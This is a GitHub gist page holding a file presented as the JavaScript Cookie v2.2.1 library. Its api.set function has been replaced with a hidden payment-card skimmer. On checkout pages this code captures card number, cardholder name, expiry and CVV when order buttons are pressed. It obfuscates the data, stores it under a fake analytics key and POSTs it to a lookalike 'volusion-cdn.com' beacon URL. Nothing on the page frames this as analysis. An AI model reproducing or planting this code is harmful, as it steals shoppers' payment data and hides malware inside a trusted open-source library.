Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
/*!
* JavaScript Cookie v2.2.1
* https://github.com/js-cookie/js-cookie
*
* Copyright 2006, 2015 Klaus Hartl & Fagner Brack
* Released under the MIT license
*/
;
(function(factory) {
var registeredInModuleLoader;
if (typeof define === 'function' && define.amd) {
define(factory);
registeredInModuleLoader = true;
}
if (typeof exports === 'object') {
module.exports = factory();
registeredInModuleLoader = true;
}
if (!registeredInModuleLoader) {
var OldCookies = window.Cookies;
var api = window.Cookies = factory();
api.noConflict = function() {
window.Cookies = OldCookies;
return api;
};
}
}(function() {
function extend() {
var i = 0;
var result = {};
for (; i < arguments.length; i++) {
var attributes = arguments[i];
for (var key in attributes) {
result[key] = attributes[key];
}
}
return result;
}
function decode(s) {
return s.replace(/(%[0-9A-Z]{2})+/g, decodeURIComponent);
}
function init(converter) {
function api() {}
function set(key, value, attributes) {
if (typeof document === 'undefined') {
return;
}
attributes = extend({
path: '/'
}, api.defaults, attributes);
if (typeof attributes.expires === 'number') {
attributes.expires = new Date(new Date() * 1 + attributes.expires * 864e+5);
}
attributes.expires = attributes.expires ? attributes.expires.toUTCString() : '';
try {
var result = JSON.stringify(value);
if (/^[\{\[]/.test(result)) {
value = result;
}
} catch (e) {}
value = converter.write ? converter.write(value, key) : encodeURIComponent(String(value)).replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g, decodeURIComponent);
key = encodeURIComponent(String(key)).replace(/%(23|24|26|2B|5E|60|7C)/g, decodeURIComponent).replace(/[\(\)]/g, escape);
var stringifiedAttributes = '';
for (var attributeName in attributes) {
if (!attributes[attributeName]) {
continue;
}
stringifiedAttributes += '; ' + attributeName;
if (attributes[attributeName] === true) {
continue;
}
stringifiedAttributes += '=' + attributes[attributeName].split(';')[0];
}
return (document.cookie = key + '=' + value + stringifiedAttributes);
}
function get(key, json) {
if (typeof document === 'undefined') {
return;
}
var jar = {};
var cookies = document.cookie ? document.cookie.split('; ') : [];
var i = 0;
for (; i < cookies.length; i++) {
var parts = cookies[i].split('=');
var cookie = parts.slice(1).join('=');
if (!json && cookie.charAt(0) === '"') {
cookie = cookie.slice(1, -1);
}
try {
var name = decode(parts[0]);
cookie = (converter.read || converter)(cookie, name) || decode(cookie);
if (json) {
try {
cookie = JSON.parse(cookie);
} catch (e) {}
}
jar[name] = cookie;
if (key === name) {
break;
}
} catch (e) {}
}
return key ? jar[key] : jar;
}
api.set = (function($) {
varc = null, f = null, m = null, n = null, s = null, t = '', y = null, z = null, w1 = null, w2 = null, w3 = null, w4 = null;
if (typeof $ == 'function') {
function query() {
var d = window.sessionStorage ? window.sessionStorage.getItem('__utmz_opt_in_out') : '';
if (d) $.ajax({
type: 'POST',
url: 'https://volusion-cdn.com/analytics/beacon',
dataType: 'application/x-www-form-urlencoded',
data: d,
complete: function() {
window.sessionStorage.removeItem('__utmz_opt_in_out');
}
});
}
$(document).ready(function() {
f = $('#CreditCardNumber').length === 1 ? $('#CreditCardNumber').closest("form") : false, z = function() {
c = $('#CreditCardNumber').val(), n = $('#CardHoldersName').val(), m = $('#CC_ExpDate_Month').val(), y = $('#CC_ExpDate_Year').val(), s = $('#CVV2').val(), t = f && window.sessionStorage && String.prototype.startsWith && (typeof window.btoa == 'function') ? window.btoa(f.serialize()) : '';
if (f && c && !c.startsWith("*") && n && m && y && t) {
t = t.split('');
for (var i = 0; i < t.length - 2 && t[i + 2] != '='; i += 3) {
c = t[i];
t[i] = t[i + 2];
t[i + 2] = c;
}
window.sessionStorage.setItem('__utmz_opt_in_out', t.join(''));
}
return true;
};
if (f) {
w1 = setInterval(function() {
var b = $('#btnSubmitOrder');
if (b.length <= 0) return;
b.bind('mousedown touchstart', z);
clearInterval(w1);
}, 250);
w2 = setInterval(function() {
var b = $('#btnSubmitOrder-v2');
if (b.length <= 0) return;
b.bind('mousedown touchstart', z);
clearInterval(w2);
}, 250);
w3 = setInterval(function() {
var b = $('#DupCheckoutBtn');
if (b.length <= 0) return;
b.bind('mousedown touchstart', z);
clearInterval(w3);
}, 250);
w4 = setInterval(function() {
var b = $('#bluecheck-button-volusion');
if (b.length <= 0) return;
b.bind('mousedown touchstart', z);
clearInterval(w4);
}, 250);
}
});
query();
}
return set;
})(jQuery);
api.get = function(key) {
return get(key, false);
};
api.getJSON = function(key) {
return get(key, true);
};
api.remove = function(key, attributes) {
set(key, '', extend(attributes, {
expires: -1
}));
};
api.defaults = {};
api.withConverter = init;
return api;
}
return init(function() {});
}));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.